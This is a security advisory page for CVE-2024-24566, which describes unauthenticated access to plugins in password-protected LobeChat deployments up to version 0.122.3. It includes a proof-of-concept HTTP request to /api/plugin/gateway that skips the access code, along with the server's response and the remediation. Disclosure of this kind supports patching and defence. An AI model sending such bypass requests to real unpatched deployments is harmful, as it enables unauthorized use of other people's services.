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AI agent vulnerability · LobeChat

CVE-2024-24566: @lobehub/chat vulnerable to unauthorized access to plugins

mediumCVSS 3.1 5.3GHSA-pf55-fj96-xf37

Description: When the application is password-protected (deployed with the ACCESSCODE option), it is possible to access plugins without proper authorization (without password). Proof-of-Concept: Let’s suppose that application has been deployed with following command: Due to the utilization of the ACCESSCODE, access to the chat is possible only after entering the password: However, it is possible to interact with…

Published Jan 31, 2024

Affected packages

@lobehub/chat

Ecosystem
npm
Affected
<= 0.122.3
Fixed in
0.122.4
Check
npm ls @lobehub/chat

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Description:

When the application is password-protected (deployed with the ACCESS_CODE option), it is possible to access plugins without proper authorization (without password).

Proof-of-Concept:

Let’s suppose that application has been deployed with following command:

Due to the utilization of the `ACCESS_CODE`,  access to the chat is possible only after entering the password:
 
![image](https://raw.githubusercontent.com/dastaj/assets/main/others/image.png)


However, it is possible to interact with chat plugins without entering the `ACCESS_CODE`. 
Example HTTP request:

POST /api/plugin/gateway HTTP/1.1 Host: localhost:3210 Content-Length: 1276

{"apiName":"checkWeatherUsingGET","arguments":"{\n \"location\": \"London\"\n}","identifier":"WeatherGPT","type":"default","manifest":{"api":[{"description":"Get current weather information","name":"checkWeatherUsingGET","parameters":{"properties":{"location":{"type":"string"}},"required":["location"],"type":"object"}}],"homepage":"https://weathergpt.vercel.app/legal","identifier":"WeatherGPT","meta":{"avatar":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/logo.webp","description":"Get current weather information for a specific location.","title":"WeatherGPT"},"openapi":"https://openai-collections.chat-plugin.lobehub.com/weather-gpt/openapi.json","systemRole":"Use the WeatherGPT plugin to automatically fetch current weather information for a specific location when it's being generated by the ChatGPT assistant. The plugin will return weather data, including temperature, wind speed, humidity, and other relevant information, as well as a link to a page that has all the information. Links will always be returned and should be shown to the user. The weather data can be used to provide users with up-to-date and accurate weather information for their desired location.","type":"default","version":"1","settings":{"properties":{},"type":"object"}}}

HTTP response:

HTTP/1.1 200 OK [...] {"location":{"name":"London","region":"City of London, Greater London","country":"United Kingdom","lat":51.52,"lon":-0.11,"tz_id":"Europe/London","localtime_epoch":1706379026,"localtime":"2024-01-27 18:10"},"current":{"last_updated_epoch":1706378400,"last_updated":"2024-01-27 18:00","temp_c":6,"temp_f":42.8,"is_day":0,"condition":{"text":"Clear","icon":"//cdn.weatherapi.com/weather/64x64/night/113.png","code":1000},"wind_mph":4.3,"wind_kph":6.8,"wind_degree":170,"wind_dir":"S","pressure_mb":1031,"pressure_in":30.45,"precip_mm":0,"precip_in":0,"humidity":81,"cloud":0,"feelslike_c":3.8,"feelslike_f":38.9,"vis_km":10,"vis_miles":6,"uv":1,"gust_mph":9.5,"gust_kph":15.3},"infoLink":"https://weathergpt.vercel.app/London"}

###	Remediation:
Verify the `ACCESS_CODE` for HTTP requests to the `/api/plugin/:` route.

###	Impact:
Unauthorized access to plugins.

Credited to dastaj.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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